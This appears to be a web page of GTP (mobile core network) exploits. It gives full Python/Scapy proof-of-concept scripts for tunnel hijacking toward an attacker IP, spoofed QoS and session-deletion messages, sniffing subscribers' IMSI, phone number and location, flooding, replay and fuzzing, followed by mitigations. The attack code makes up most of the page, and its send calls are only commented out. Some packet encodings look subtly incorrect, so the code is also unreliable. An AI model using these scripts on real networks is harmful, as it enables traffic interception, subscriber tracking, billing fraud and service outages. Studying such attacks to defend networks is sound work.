GTP Protocol Exploits
Introduction to GTP Exploits
The GPRS Tunneling Protocol (GTP) is a critical component in mobile networks, responsible for establishing and maintaining tunnels for user data and control signaling. Due to its central role in mobile networks, GTP vulnerabilities can have severe consequences for network security and user privacy.
This page documents technical exploits targeting GTP implementations across various mobile network generations. Each exploit includes a detailed technical explanation, impact assessment, and proof-of-concept demonstration for educational purposes.
Important Notice
GTP Tunnel Hijacking
Vulnerability Details
GTP-C (Control Plane) uses Tunnel Endpoint Identifiers (TEIDs) to identify tunnels between network elements. When TEIDs are predictable or when validation is insufficient, attackers can hijack existing tunnels or create unauthorized tunnels.
Impact
- Interception of user data traffic
- Man-in-the-middle attacks
- Session hijacking
- Unauthorized access to subscriber data
Affected Components
SGSN, GGSN, S-GW, P-GW, MME
Proof of Concept
#!/usr/bin/env python3
# GTP Tunnel Hijacking PoC
# For educational purposes only
from scapy.all import *
from scapy.contrib.gtp import GTP_U_Header, GTPCreatePDPContextRequest
# Target network elements
SGSN_IP = "10.0.0.1" # Example IP
GGSN_IP = "10.0.0.2" # Example IP
# Victim's information (would be obtained through reconnaissance)
VICTIM_IMSI = "123456789012345"
VICTIM_TEID = 0x12345678 # Example TEID
# Attacker's rogue network element
ATTACKER_IP = "192.168.1.100"
def craft_create_pdp_context_request():
"""Craft a malicious Create PDP Context Request to hijack a tunnel"""
# IP layer
ip = IP(src=SGSN_IP, dst=GGSN_IP)
# UDP layer for GTP-C (port 2123)
udp = UDP(sport=2123, dport=2123)
# GTP-C header
gtp_header = GTPCreatePDPContextRequest(
teid=0, # TEID is 0 for Create PDP Context Request
seq=random.randint(1, 0xFFFFFF), # Random sequence number
IMSI=VICTIM_IMSI
)
# Set the tunnel endpoint to the attacker's IP
# This redirects the tunnel to the attacker
gtp_header.GSN_Address = ATTACKER_IP
# Build the complete packet
packet = ip/udp/gtp_header
return packet
def hijack_existing_tunnel():
"""Hijack an existing GTP tunnel by sending an Update PDP Context Request"""
# IP layer
ip = IP(src=SGSN_IP, dst=GGSN_IP)
# UDP layer for GTP-C
udp = UDP(sport=2123, dport=2123)
# GTP-C Update PDP Context Request
# Using the victim's TEID to target their specific tunnel
gtp_header = GTP_U_Header(
teid=VICTIM_TEID,
gtp_type=18, # Update PDP Context Request
seq=random.randint(1, 0xFFFFFF)
)
# Set the new tunnel endpoint to the attacker's IP
update_req = Raw(load=bytes.fromhex(
"1400" + # Information Element: GSN Address
"0400" + # Length: 4 bytes
socket.inet_aton(ATTACKER_IP).hex() # Attacker's IP in hex
))
# Build the complete packet
packet = ip/udp/gtp_header/update_req
return packet
def main():
print("[*] GTP Tunnel Hijacking PoC")
print("[*] This is for educational purposes only!")
# Method 1: Create a new malicious tunnel
new_tunnel_packet = craft_create_pdp_context_request()
# Method 2: Hijack an existing tunnel
hijack_packet = hijack_existing_tunnel()
print("[*] Sending malicious GTP packets...")
# In a real attack, these would be sent to the network
# send(new_tunnel_packet)
# send(hijack_packet)
# For demonstration, just show the packets
print("
[+] Create PDP Context Request Packet:")
new_tunnel_packet.show()
print("
[+] Update PDP Context Request Packet:")
hijack_packet.show()
print("
[*] In a real attack, these packets would redirect the GTP tunnel to the attacker's system")
if __name__ == "__main__":
main()

GTP Message Spoofing
Vulnerability Details
GTP-C messages often lack strong authentication mechanisms, allowing attackers to forge control messages that appear to come from legitimate network elements. This can be exploited to manipulate subscriber data, modify QoS parameters, or trigger unintended network behaviors.
Impact
- Unauthorized modification of subscriber profiles
- QoS manipulation (bandwidth theft)
- Service disruption
- Billing fraud
Affected Components
SGSN, GGSN, MME, S-GW, P-GW, HSS
Proof of Concept
#!/usr/bin/env python3
# GTP-C Message Spoofing PoC
# For educational purposes only
from scapy.all import *
from scapy.contrib.gtp import GTPHeader
# Target network elements
MME_IP = "10.0.0.3" # Example IP
SGW_IP = "10.0.0.4" # Example IP
# Victim's information
VICTIM_IMSI = "123456789012345"
VICTIM_TEID = 0x87654321 # Example TEID
def craft_modify_bearer_request():
"""Craft a malicious Modify Bearer Request to change QoS parameters"""
# IP layer
ip = IP(src=MME_IP, dst=SGW_IP)
# UDP layer for GTP-C (port 2123)
udp = UDP(sport=2123, dport=2123)
# GTP-C header
gtp_header = GTPHeader(
version=2,
PT=1, # Protocol Type: GTP
teid=VICTIM_TEID,
gtp_type=34, # Modify Bearer Request
seq=random.randint(1, 0xFFFFFF) # Random sequence number
)
# Modify Bearer Request payload with enhanced QoS
# Setting maximum bitrates to high values
mbr_payload = Raw(load=bytes.fromhex(
# IMSI IE
"0100" + # IE Type: IMSI
"0800" + # Length: 8 bytes
VICTIM_IMSI.encode().hex() +
# Bearer Context IE
"5D00" + # IE Type: Bearer Context
"2000" + # Length: 32 bytes
# Bearer QoS IE within Bearer Context
"5000" + # IE Type: Bearer QoS
"1C00" + # Length: 28 bytes
"0F" + # QCI: 15 (highest priority)
"FFFFFF" + # Maximum Bitrate Uplink: 16,777,215 kbps
"FFFFFF" + # Maximum Bitrate Downlink: 16,777,215 kbps
"FFFFFF" + # Guaranteed Bitrate Uplink: 16,777,215 kbps
"FFFFFF" # Guaranteed Bitrate Downlink: 16,777,215 kbps
))
# Build the complete packet
packet = ip/udp/gtp_header/mbr_payload
return packet
def craft_delete_session_request():
"""Craft a malicious Delete Session Request to disrupt service"""
# IP layer
ip = IP(src=MME_IP, dst=SGW_IP)
# UDP layer for GTP-C
udp = UDP(sport=2123, dport=2123)
# GTP-C header
gtp_header = GTPHeader(
version=2,
PT=1, # Protocol Type: GTP
teid=VICTIM_TEID,
gtp_type=36, # Delete Session Request
seq=random.randint(1, 0xFFFFFF)
)
# Delete Session Request payload
dsr_payload = Raw(load=bytes.fromhex(
# IMSI IE
"0100" + # IE Type: IMSI
"0800" + # Length: 8 bytes
VICTIM_IMSI.encode().hex() +
# Cause IE
"0200" + # IE Type: Cause
"0200" + # Length: 2 bytes
"1000" # Cause: PDN connection inactivity timeout
))
# Build the complete packet
packet = ip/udp/gtp_header/dsr_payload
return packet
def main():
print("[*] GTP-C Message Spoofing PoC")
print("[*] This is for educational purposes only!")
# Method 1: Modify QoS parameters
qos_packet = craft_modify_bearer_request()
# Method 2: Disrupt service
delete_packet = craft_delete_session_request()
print("[*] Crafting malicious GTP-C messages...")
# In a real attack, these would be sent to the network
# send(qos_packet)
# send(delete_packet)
# For demonstration, just show the packets
print("
[+] Modify Bearer Request Packet (QoS Manipulation):")
qos_packet.show()
print("
[+] Delete Session Request Packet (Service Disruption):")
delete_packet.show()
print("
[*] In a real attack, these packets would either upgrade QoS parameters or disrupt the victim's service")
if __name__ == "__main__":
main()
GTP Information Disclosure
Vulnerability Details
GTP-C messages contain sensitive subscriber information including IMSI, MSISDN (phone number), location information, and service profiles. When these messages are transmitted without encryption, attackers can intercept and extract this information.
Impact
- Privacy violations
- Subscriber tracking
- Identity theft
- Reconnaissance for targeted attacks
Affected Components
All GTP-C interfaces (Gn, Gp, S5, S8, S11)
Proof of Concept
#!/usr/bin/env python3
# GTP Information Disclosure PoC
# For educational purposes only
from scapy.all import *
from scapy.contrib.gtp import GTP_U_Header
import json
import time
# Interface to sniff on (would be a core network interface in a real attack)
INTERFACE = "eth0"
# Extracted subscriber data
subscribers = {}
def extract_imsi(packet):
"""Extract IMSI from GTP-C packets"""
if packet.haslayer(UDP) and packet[UDP].dport == 2123:
# Check if it's a Create Session Request or Create PDP Context Request
if Raw in packet and len(packet[Raw].load) > 8:
data = packet[Raw].load
# Look for IMSI IE (Type 1)
offset = 0
while offset < len(data) - 4:
if data[offset] == 0x01: # IMSI IE type
length = struct.unpack("!H", data[offset+1:offset+3])[0]
if offset + 3 + length <= len(data):
imsi_bytes = data[offset+3:offset+3+length]
imsi = imsi_bytes.hex()
return imsi
offset += 1
return None
def extract_msisdn(packet):
"""Extract MSISDN (phone number) from GTP-C packets"""
if packet.haslayer(UDP) and packet[UDP].dport == 2123:
if Raw in packet and len(packet[Raw].load) > 8:
data = packet[Raw].load
# Look for MSISDN IE (Type 76 in GTPv1, Type 86 in GTPv2)
offset = 0
while offset < len(data) - 4:
if data[offset] == 0x4C or data[offset] == 0x56: # MSISDN IE types
length = struct.unpack("!H", data[offset+1:offset+3])[0]
if offset + 3 + length <= len(data):
msisdn_bytes = data[offset+3:offset+3+length]
msisdn = msisdn_bytes.hex()
# Convert BCD encoded MSISDN to string
msisdn_str = ""
for i in range(0, len(msisdn), 2):
digit1 = msisdn[i+1]
digit2 = msisdn[i]
if digit1 != 'f':
msisdn_str += digit1
if digit2 != 'f':
msisdn_str += digit2
return msisdn_str
offset += 1
return None
def extract_location(packet):
"""Extract location information from GTP-C packets"""
if packet.haslayer(UDP) and packet[UDP].dport == 2123:
if Raw in packet and len(packet[Raw].load) > 8:
data = packet[Raw].load
# Look for User Location Info IE (Type 86 in GTPv1, Type 88 in GTPv2)
offset = 0
while offset < len(data) - 4:
if data[offset] == 0x56 or data[offset] == 0x58: # Location IE types
length = struct.unpack("!H", data[offset+1:offset+3])[0]
if offset + 3 + length <= len(data):
loc_bytes = data[offset+3:offset+3+length]
# Extract Cell ID, TAC, etc.
# This is simplified - real implementation would parse the specific format
location = {
"raw": loc_bytes.hex(),
"type": "E-UTRAN" if loc_bytes[0] == 0x01 else "UTRAN"
}
if len(loc_bytes) >= 7:
# Extract MCC/MNC
mcc_mnc = loc_bytes[1:4].hex()
mcc = mcc_mnc[1] + mcc_mnc[0] + mcc_mnc[3]
mnc = mcc_mnc[5] + mcc_mnc[4] if mcc_mnc[2] == 'f' else mcc_mnc[5] + mcc_mnc[4] + mcc_mnc[2]
location["mcc"] = mcc
location["mnc"] = mnc
# Extract TAC/LAC
if len(loc_bytes) >= 6:
tac = struct.unpack("!H", loc_bytes[4:6])[0]
location["tac"] = tac
# Extract Cell ID
if len(loc_bytes) >= 10:
cell_id = struct.unpack("!I", loc_bytes[6:10])[0]
location["cell_id"] = cell_id
return location
offset += 1
return None
def packet_callback(packet):
"""Process each captured packet to extract subscriber information"""
if IP in packet:
src_ip = packet[IP].src
dst_ip = packet[IP].dst
# Extract subscriber identifiers
imsi = extract_imsi(packet)
msisdn = extract_msisdn(packet)
location = extract_location(packet)
# If we found subscriber information, store it
if imsi or msisdn or location:
# Use IMSI as the primary key if available
key = imsi if imsi else f"unknown_{int(time.time())}"
if key not in subscribers:
subscribers[key] = {
"first_seen": time.strftime("%Y-%m-%d %H:%M:%S"),
"last_seen": time.strftime("%Y-%m-%d %H:%M:%S"),
"src_ips": [],
"dst_ips": []
}
else:
subscribers[key]["last_seen"] = time.strftime("%Y-%m-%d %H:%M:%S")
# Update subscriber record
if imsi:
subscribers[key]["imsi"] = imsi
if msisdn:
subscribers[key]["msisdn"] = msisdn
if location:
subscribers[key]["location"] = location
# Track IPs
if src_ip not in subscribers[key]["src_ips"]:
subscribers[key]["src_ips"].append(src_ip)
if dst_ip not in subscribers[key]["dst_ips"]:
subscribers[key]["dst_ips"].append(dst_ip)
# Print update
print(f"[+] Updated subscriber info for {key}")
print(f" IMSI: {imsi if imsi else 'Unknown'}")
print(f" MSISDN: {msisdn if msisdn else 'Unknown'}")
if location:
print(f" Location: MCC={location.get('mcc', 'Unknown')}, MNC={location.get('mnc', 'Unknown')}, Cell ID={location.get('cell_id', 'Unknown')}")
print()
# Periodically save to file
if len(subscribers) % 5 == 0:
with open("gtp_subscribers.json", "w") as f:
json.dump(subscribers, f, indent=2)
def main():
print("[*] GTP Information Disclosure PoC")
print("[*] This is for educational purposes only!")
print("[*] Starting packet capture on interface", INTERFACE)
print("[*] Press Ctrl+C to stop
")
try:
# In a real attack, this would capture live traffic
# sniff(iface=INTERFACE, filter="udp port 2123", prn=packet_callback)
# For demonstration, we'll just show the extraction logic
print("[*] This is a demonstration of the extraction logic.")
print("[*] In a real scenario, this script would:")
print(" 1. Capture GTP-C traffic on the specified interface")
print(" 2. Extract subscriber information (IMSI, MSISDN, location)")
print(" 3. Build profiles of subscribers over time")
print(" 4. Save the extracted data to gtp_subscribers.json")
print("
[*] Example extracted data structure:")
example_data = {
"123456789012345": {
"first_seen": "2023-05-15 10:23:45",
"last_seen": "2023-05-15 11:45:12",
"imsi": "123456789012345",
"msisdn": "12025550123",
"location": {
"mcc": "310",
"mnc": "410",
"tac": 12345,
"cell_id": 67890,
"type": "E-UTRAN"
},
"src_ips": ["10.0.0.1", "10.0.0.3"],
"dst_ips": ["10.0.0.2", "10.0.0.4"]
}
}
print(json.dumps(example_data, indent=2))
except KeyboardInterrupt:
print("
[*] Stopping packet capture")
with open("gtp_subscribers.json", "w") as f:
json.dump(subscribers, f, indent=2)
print(f"[*] Saved {len(subscribers)} subscriber records to gtp_subscribers.json")
if __name__ == "__main__":
main()
GTP Denial of Service
Vulnerability Details
GTP endpoints (SGSN, GGSN, S-GW, P-GW) must process all incoming GTP messages. By flooding these endpoints with a high volume of malformed or resource-intensive messages, attackers can exhaust system resources and cause service degradation or outages.
Impact
- Service unavailability
- Degraded network performance
- Resource exhaustion
- Potential system crashes
Affected Components
SGSN, GGSN, S-GW, P-GW, MME
Proof of Concept
#!/usr/bin/env python3
# GTP DoS Attack PoC
# For educational purposes only
from scapy.all import *
from scapy.contrib.gtp import GTPHeader
import threading
import time
import random
# Target network element
TARGET_IP = "10.0.0.2" # Example IP
# Attack parameters
THREADS = 4
PACKETS_PER_THREAD = 1000
PACKET_DELAY = 0.001 # 1ms between packets
def generate_random_imsi():
"""Generate a random IMSI for the attack"""
return ''.join(random.choice('0123456789') for _ in range(15))
def generate_random_teid():
"""Generate a random TEID for the attack"""
return random.randint(1, 0xFFFFFFFF)
def craft_create_session_flood():
"""Craft a GTP-C Create Session Request for flooding"""
# IP layer
ip = IP(dst=TARGET_IP)
# UDP layer for GTP-C (port 2123)
udp = UDP(sport=random.randint(1024, 65535), dport=2123)
# GTP-C header with random values
gtp_header = GTPHeader(
version=2,
PT=1, # Protocol Type: GTP
teid=0, # TEID is 0 for Create Session Request
gtp_type=32, # Create Session Request
seq=random.randint(1, 0xFFFFFF)
)
# Create Session Request payload with random IMSI
imsi = generate_random_imsi()
csr_payload = Raw(load=bytes.fromhex(
# IMSI IE
"0100" + # IE Type: IMSI
"0800" + # Length: 8 bytes
imsi.encode().hex() +
# MSISDN IE
"4C00" + # IE Type: MSISDN
"0600" + # Length: 6 bytes
"214365870921" + # Random MSISDN in BCD format
# Multiple additional IEs to make the packet larger and more resource-intensive
# Repeat several times to increase packet size
"5000" + # IE Type: Bearer QoS
"1C00" + # Length: 28 bytes
"0F" + # QCI: 15
"FFFFFF" + # Maximum Bitrate Uplink
"FFFFFF" + # Maximum Bitrate Downlink
"FFFFFF" + # Guaranteed Bitrate Uplink
"FFFFFF" + # Guaranteed Bitrate Downlink
"0000000000000000000000" # Padding
))
# Build the complete packet
packet = ip/udp/gtp_header/csr_payload
return packet
def craft_malformed_gtp():
"""Craft malformed GTP packets to trigger error handling"""
# IP layer
ip = IP(dst=TARGET_IP)
# UDP layer for GTP-C (port 2123)
udp = UDP(sport=random.randint(1024, 65535), dport=2123)
# Malformed GTP header with invalid values
gtp_header = GTPHeader(
version=random.choice([0, 1, 2, 3]), # Random version, some invalid
PT=random.randint(0, 1),
teid=generate_random_teid(),
gtp_type=random.randint(0, 255), # Random message type, many invalid
seq=random.randint(1, 0xFFFFFF)
)
# Malformed payload with random data
malformed_payload = Raw(load=os.urandom(random.randint(100, 1500)))
# Build the complete packet
packet = ip/udp/gtp_header/malformed_payload
return packet
def flood_thread(thread_id, attack_type):
"""Thread function to send flood packets"""
print(f"[*] Starting flood thread {thread_id}")
packets_sent = 0
start_time = time.time()
for i in range(PACKETS_PER_THREAD):
if attack_type == "create_session":
packet = craft_create_session_flood()
else: # malformed
packet = craft_malformed_gtp()
# In a real attack, this would send the packet
# send(packet, verbose=0)
packets_sent += 1
# Sleep to control packet rate
time.sleep(PACKET_DELAY)
# Print progress every 100 packets
if packets_sent % 100 == 0:
elapsed = time.time() - start_time
pps = packets_sent / elapsed if elapsed > 0 else 0
print(f"[+] Thread {thread_id}: Sent {packets_sent} packets ({pps:.2f} packets/sec)")
elapsed = time.time() - start_time
pps = packets_sent / elapsed if elapsed > 0 else 0
print(f"[+] Thread {thread_id} completed: Sent {packets_sent} packets in {elapsed:.2f} seconds ({pps:.2f} packets/sec)")
def main():
print("[*] GTP DoS Attack PoC")
print("[*] This is for educational purposes only!")
print(f"[*] Target: {TARGET_IP}")
print(f"[*] Threads: {THREADS}")
print(f"[*] Packets per thread: {PACKETS_PER_THREAD}")
print(f"[*] Total packets: {THREADS * PACKETS_PER_THREAD}")
# Ask for attack type
print("
Select attack type:")
print("1. Create Session Request Flood")
print("2. Malformed GTP Packet Flood")
print("3. Combined Attack")
# For demonstration, we'll just show both packet types
print("
[*] This is a demonstration of the attack packets.")
print("
[+] Create Session Request Flood Packet:")
craft_create_session_flood().show()
print("
[+] Malformed GTP Packet:")
craft_malformed_gtp().show()
print("
[*] In a real attack, these packets would be sent at high rates to exhaust resources")
print("[*] The attack would use multiple threads to maximize impact:")
# Show thread calculation
print(f"[*] {THREADS} threads × {PACKETS_PER_THREAD} packets = {THREADS * PACKETS_PER_THREAD} total packets")
print(f"[*] At {1/PACKET_DELAY:.0f} packets per second per thread = {THREADS * (1/PACKET_DELAY):.0f} packets/sec total")
print(f"[*] Estimated attack duration: {PACKETS_PER_THREAD * PACKET_DELAY:.2f} seconds")
# In a real attack, this would launch the threads
"""
threads = []
# Launch half the threads with Create Session floods
for i in range(THREADS // 2):
t = threading.Thread(target=flood_thread, args=(i, "create_session"))
threads.append(t)
t.start()
# Launch half the threads with malformed packets
for i in range(THREADS // 2, THREADS):
t = threading.Thread(target=flood_thread, args=(i, "malformed"))
threads.append(t)
t.start()
# Wait for all threads to complete
for t in threads:
t.join()
"""
print("
[*] Attack demonstration complete")
if __name__ == "__main__":
main()
GTP Replay Attack
Vulnerability Details
GTP protocols often lack robust replay protection mechanisms. By capturing legitimate GTP messages and replaying them later, attackers can trigger duplicate actions, cause billing inconsistencies, or disrupt service.
Impact
- Duplicate session establishment
- Billing fraud
- Service disruption
- State inconsistencies
Affected Components
SGSN, GGSN, S-GW, P-GW, MME
Proof of Concept
#!/usr/bin/env python3
# GTP Replay Attack PoC
# For educational purposes only
from scapy.all import *
from scapy.contrib.gtp import GTPHeader
import time
import argparse
# Captured packet storage
captured_packets = []
def capture_gtp_packets(interface, count=10, filter_str="udp port 2123"):
"""Capture GTP-C packets for later replay"""
print(f"[*] Capturing {count} GTP-C packets on {interface}...")
# In a real attack, this would capture live traffic
# packets = sniff(iface=interface, filter=filter_str, count=count)
# For demonstration, we'll create example packets
packets = []
# Example 1: Create Session Request
pkt1 = IP(src="10.0.0.1", dst="10.0.0.2")/UDP(sport=2123, dport=2123)/GTPHeader(
version=2, PT=1, teid=0, gtp_type=32, seq=123456
)/Raw(load=bytes.fromhex(
"0100080012345678901234" + # IMSI
"4C00060021436587092100" # MSISDN
))
packets.append(pkt1)
# Example 2: Modify Bearer Request
pkt2 = IP(src="10.0.0.3", dst="10.0.0.2")/UDP(sport=2123, dport=2123)/GTPHeader(
version=2, PT=1, teid=0x12345678, gtp_type=34, seq=234567
)/Raw(load=bytes.fromhex(
"5D00200050001C000FFFFFF" + # Bearer Context with QoS
"FFFFFFFFFFFFFFFF00000000"
))
packets.append(pkt2)
# Example 3: Delete Session Request
pkt3 = IP(src="10.0.0.3", dst="10.0.0.2")/UDP(sport=2123, dport=2123)/GTPHeader(
version=2, PT=1, teid=0x12345678, gtp_type=36, seq=345678
)/Raw(load=bytes.fromhex(
"0200020010" # Cause IE
))
packets.append(pkt3)
print(f"[+] Captured {len(packets)} packets")
return packets
def analyze_packets(packets):
"""Analyze captured packets to identify interesting ones for replay"""
interesting_packets = []
for i, pkt in enumerate(packets):
if UDP in pkt and pkt[UDP].dport == 2123:
# Check if it's a GTP packet
if GTPHeader in pkt:
gtp_type = pkt[GTPHeader].gtp_type
seq = pkt[GTPHeader].seq
teid = pkt[GTPHeader].teid
# Identify packet type
packet_type = "Unknown"
if gtp_type == 32:
packet_type = "Create Session Request"
elif gtp_type == 33:
packet_type = "Create Session Response"
elif gtp_type == 34:
packet_type = "Modify Bearer Request"
elif gtp_type == 35:
packet_type = "Modify Bearer Response"
elif gtp_type == 36:
packet_type = "Delete Session Request"
elif gtp_type == 37:
packet_type = "Delete Session Response"
print(f"[+] Packet {i+1}: {packet_type} (Type: {gtp_type}, TEID: 0x{teid:08x}, Seq: {seq})")
# Add to interesting packets if it's a request
if gtp_type in [32, 34, 36]:
interesting_packets.append((i, pkt, packet_type))
return interesting_packets
def replay_packet(packet, count=1, delay=1.0):
"""Replay a packet multiple times"""
print(f"[*] Replaying packet {count} times with {delay}s delay...")
for i in range(count):
# In a real attack, this would send the packet
# send(packet, verbose=0)
print(f"[+] Sent packet {i+1}/{count}")
if i < count - 1:
time.sleep(delay)
print("[+] Replay complete")
def modify_sequence_number(packet):
"""Modify the sequence number in a GTP packet to avoid simple replay protection"""
if GTPHeader in packet:
# Create a copy of the packet
new_packet = packet.copy()
# Modify the sequence number
new_seq = random.randint(1, 0xFFFFFF)
new_packet[GTPHeader].seq = new_seq
print(f"[*] Modified sequence number: {packet[GTPHeader].seq} -> {new_seq}")
return new_packet
return packet
def main():
print("[*] GTP Replay Attack PoC")
print("[*] This is for educational purposes only!")
# In a real tool, these would be command line arguments
interface = "eth0"
capture_count = 10
replay_count = 3
replay_delay = 1.0
# Step 1: Capture packets
captured_packets = capture_gtp_packets(interface, capture_count)
# Step 2: Analyze packets
interesting_packets = analyze_packets(captured_packets)
if not interesting_packets:
print("[!] No interesting packets found for replay")
return
# Step 3: Select a packet for replay
print("
Select a packet to replay:")
for i, (idx, _, packet_type) in enumerate(interesting_packets):
print(f"{i+1}. Packet {idx+1}: {packet_type}")
# For demonstration, we'll select the first packet
selected_idx = 0
idx, packet, packet_type = interesting_packets[selected_idx]
print(f"
[*] Selected Packet {idx+1}: {packet_type}")
print("[*] Original packet:")
packet.show()
# Step 4: Modify the packet (optional)
print("
[*] Do you want to modify the packet? (y/n)")
# For demonstration, we'll modify the sequence number
modified_packet = modify_sequence_number(packet)
print("
[*] Modified packet:")
modified_packet.show()
# Step 5: Replay the packet
print(f"
[*] Replaying the packet {replay_count} times with {replay_delay}s delay")
# In a real attack, this would actually send the packets
# replay_packet(modified_packet, replay_count, replay_delay)
print("
[*] In a real attack, this would send the modified packet multiple times")
print("[*] Potential impacts:")
if packet_type == "Create Session Request":
print(" - Multiple duplicate sessions created for the same subscriber")
print(" - Resource exhaustion on the target system")
print(" - Potential billing inconsistencies")
elif packet_type == "Modify Bearer Request":
print(" - Repeated QoS modifications")
print(" - Service disruption due to conflicting parameters")
print(" - Potential bandwidth theft")
elif packet_type == "Delete Session Request":
print(" - Repeated session terminations")
print(" - Service disruption for legitimate users")
print(" - Denial of service")
print("
[*] Replay attack demonstration complete")
if __name__ == "__main__":
main()
GTP Protocol Fuzzing
Vulnerability Details
GTP implementations may contain memory corruption vulnerabilities, logic flaws, or other bugs that can be discovered through protocol fuzzing. By sending malformed, unexpected, or boundary-case inputs, attackers can identify exploitable vulnerabilities.
Impact
- Memory corruption
- Buffer overflows
- Logic errors
- Denial of service
- Potential remote code execution
Affected Components
All GTP protocol implementations
Proof of Concept
#!/usr/bin/env python3
# GTP Protocol Fuzzer PoC
# For educational purposes only
from scapy.all import *
from scapy.contrib.gtp import GTPHeader
import random
import time
import struct
# Target network element
TARGET_IP = "10.0.0.2" # Example IP
# Fuzzing parameters
NUM_PACKETS = 100
DELAY = 0.1 # 100ms between packets
# GTP message types to fuzz
GTP_TYPES = [
32, # Create Session Request
34, # Modify Bearer Request
36, # Delete Session Request
170, # Release Access Bearers Request
231, # Change Notification Request
95, # Create Bearer Request
]
# Information Element types
IE_TYPES = [
1, # IMSI
2, # Cause
3, # Recovery
76, # MSISDN
77, # APN
80, # Bearer QoS
86, # ULI (User Location Info)
87, # F-TEID
93, # Bearer Context
94, # Charging ID
95, # PDN Type
99, # PDN Address Allocation
114, # UE Time Zone
126, # Port Number
127, # APN Restriction
128, # Selection Mode
131, # Change Reporting Action
]
def generate_random_ie(ie_type=None):
"""Generate a random Information Element for fuzzing"""
if ie_type is None:
ie_type = random.choice(IE_TYPES)
# Determine length based on IE type
if ie_type == 1: # IMSI
length = 8
value = bytes([random.randint(0, 9) for _ in range(length)])
elif ie_type == 76: # MSISDN
length = 6
value = bytes([random.randint(0, 9) for _ in range(length)])
elif ie_type == 87: # F-TEID
length = 9
value = struct.pack("!BI", random.randint(0, 255), random.randint(0, 0xFFFFFFFF))
value += socket.inet_aton(f"{random.randint(1, 254)}.{random.randint(1, 254)}.{random.randint(1, 254)}.{random.randint(1, 254)}")
else:
# Random length for other IEs
length = random.randint(1, 20)
value = os.urandom(length)
# Pack the IE
ie_header = struct.pack("!BH", ie_type, length)
return ie_header + value
def generate_fuzzed_ie(ie_type=None):
"""Generate a fuzzed (potentially malformed) Information Element"""
if ie_type is None:
ie_type = random.choice(IE_TYPES)
# Choose a fuzzing strategy
strategy = random.randint(1, 5)
if strategy == 1:
# Strategy 1: Valid IE with random content
return generate_random_ie(ie_type)
elif strategy == 2:
# Strategy 2: IE with length mismatch (length field doesn't match actual data length)
if ie_type == 1: # IMSI
length = 8
elif ie_type == 76: # MSISDN
length = 6
else:
length = random.randint(1, 20)
# Generate random data
actual_length = random.randint(0, 50) # Actual data length
value = os.urandom(actual_length)
# Pack the IE with mismatched length
ie_header = struct.pack("!BH", ie_type, length) # Claimed length
return ie_header + value # Actual data
elif strategy == 3:
# Strategy 3: IE with invalid type
invalid_type = random.randint(200, 255) # Use unassigned type values
length = random.randint(1, 20)
value = os.urandom(length)
ie_header = struct.pack("!BH", invalid_type, length)
return ie_header + value
elif strategy == 4:
# Strategy 4: IE with extremely large length
large_length = random.randint(1000, 65535)
value = os.urandom(min(large_length, 100)) # Don't actually generate huge data
ie_header = struct.pack("!BH", ie_type, large_length)
return ie_header + value
else:
# Strategy 5: Completely random bytes
total_length = random.randint(3, 50) # At least 3 bytes for header
return os.urandom(total_length)
def craft_fuzzed_gtp_packet():
"""Craft a fuzzed GTP packet for testing"""
# IP layer
ip = IP(dst=TARGET_IP)
# UDP layer for GTP-C (port 2123)
udp = UDP(sport=random.randint(1024, 65535), dport=2123)
# Choose GTP version
gtp_version = random.choice([1, 2])
# Choose message type
gtp_type = random.choice(GTP_TYPES)
# Choose TEID
teid = random.randint(0, 0xFFFFFFFF)
# GTP-C header
gtp_header = GTPHeader(
version=gtp_version,
PT=1, # Protocol Type: GTP
teid=teid,
gtp_type=gtp_type,
seq=random.randint(1, 0xFFFFFF)
)
# Generate fuzzed payload with multiple IEs
num_ies = random.randint(1, 10)
payload = b""
for _ in range(num_ies):
# Decide whether to use valid or fuzzed IE
if random.random() < 0.3: # 30% chance of valid IE
payload += generate_random_ie()
else: # 70% chance of fuzzed IE
payload += generate_fuzzed_ie()
# Build the complete packet
packet = ip/udp/gtp_header/Raw(load=payload)
return packet
def fuzz_gtp_protocol():
"""Run the GTP protocol fuzzer"""
print(f"[*] Starting GTP protocol fuzzer against {TARGET_IP}")
print(f"[*] Sending {NUM_PACKETS} fuzzed packets with {DELAY}s delay")
for i in range(NUM_PACKETS):
# Generate a fuzzed packet
packet = craft_fuzzed_gtp_packet()
print(f"[+] Sending fuzzed packet {i+1}/{NUM_PACKETS}")
# In a real attack, this would send the packet
# send(packet, verbose=0)
# For demonstration, show packet details every 10 packets
if i % 10 == 0:
print("
[+] Sample fuzzed packet:")
packet.show()
# Sleep to control packet rate
time.sleep(DELAY)
print("[*] Fuzzing complete")
def main():
print("[*] GTP Protocol Fuzzer PoC")
print("[*] This is for educational purposes only!")
# Run the fuzzer
print("
[*] This is a demonstration of the GTP protocol fuzzer.")
print("[*] In a real scenario, this script would:")
print(" 1. Generate malformed GTP packets using various fuzzing strategies")
print(" 2. Send these packets to the target system")
print(" 3. Monitor for crashes, unexpected responses, or other anomalies")
# Show a sample fuzzed packet
sample_packet = craft_fuzzed_gtp_packet()
print("
[+] Sample fuzzed GTP packet:")
sample_packet.show()
print("
[*] Fuzzing strategies implemented:")
print(" 1. Valid IEs with random content")
print(" 2. IEs with length mismatches")
print(" 3. IEs with invalid types")
print(" 4. IEs with extremely large lengths")
print(" 5. Completely random byte sequences")
print("
[*] Potential vulnerabilities that could be discovered:")
print(" - Buffer overflows from improper length validation")
print(" - Memory corruption from malformed IEs")
print(" - Integer overflows from large length values")
print(" - Logic errors from unexpected message sequences")
print(" - Resource exhaustion from complex parsing")
print("
[*] Fuzzer demonstration complete")
if __name__ == "__main__":
main()
Mitigation Strategies
Protecting against GTP exploits requires a multi-layered security approach. The following strategies can help mitigate the risks associated with the vulnerabilities described above:
- Implement GTP firewalls at network boundaries
- Apply strict filtering rules for GTP traffic
- Use IPsec to encrypt GTP traffic between trusted endpoints
- Implement rate limiting for GTP messages
- Deploy anomaly detection systems to identify attack patterns
- Implement strong authentication for GTP endpoints
- Validate all GTP message fields and lengths
- Implement replay protection with sequence number validation
- Use timestamps to prevent replay attacks
- Implement message integrity protection
- Use memory-safe programming practices
- Implement proper error handling for malformed messages
- Apply resource limits to prevent DoS attacks
- Regularly update and patch GTP implementations
- Conduct security code reviews and penetration testing
- Implement comprehensive logging and monitoring
- Develop incident response procedures for GTP attacks
- Conduct regular security assessments of GTP infrastructure
- Implement network segmentation to isolate GTP traffic
- Follow security best practices from 3GPP and GSMA
Standards Compliance
Responsible Disclosure
If you discover vulnerabilities in GTP implementations, please follow responsible disclosure practices:
- Report to the vendor: Contact the affected vendor directly through their security reporting channels.
- Provide details: Include sufficient information for the vendor to understand and reproduce the issue.
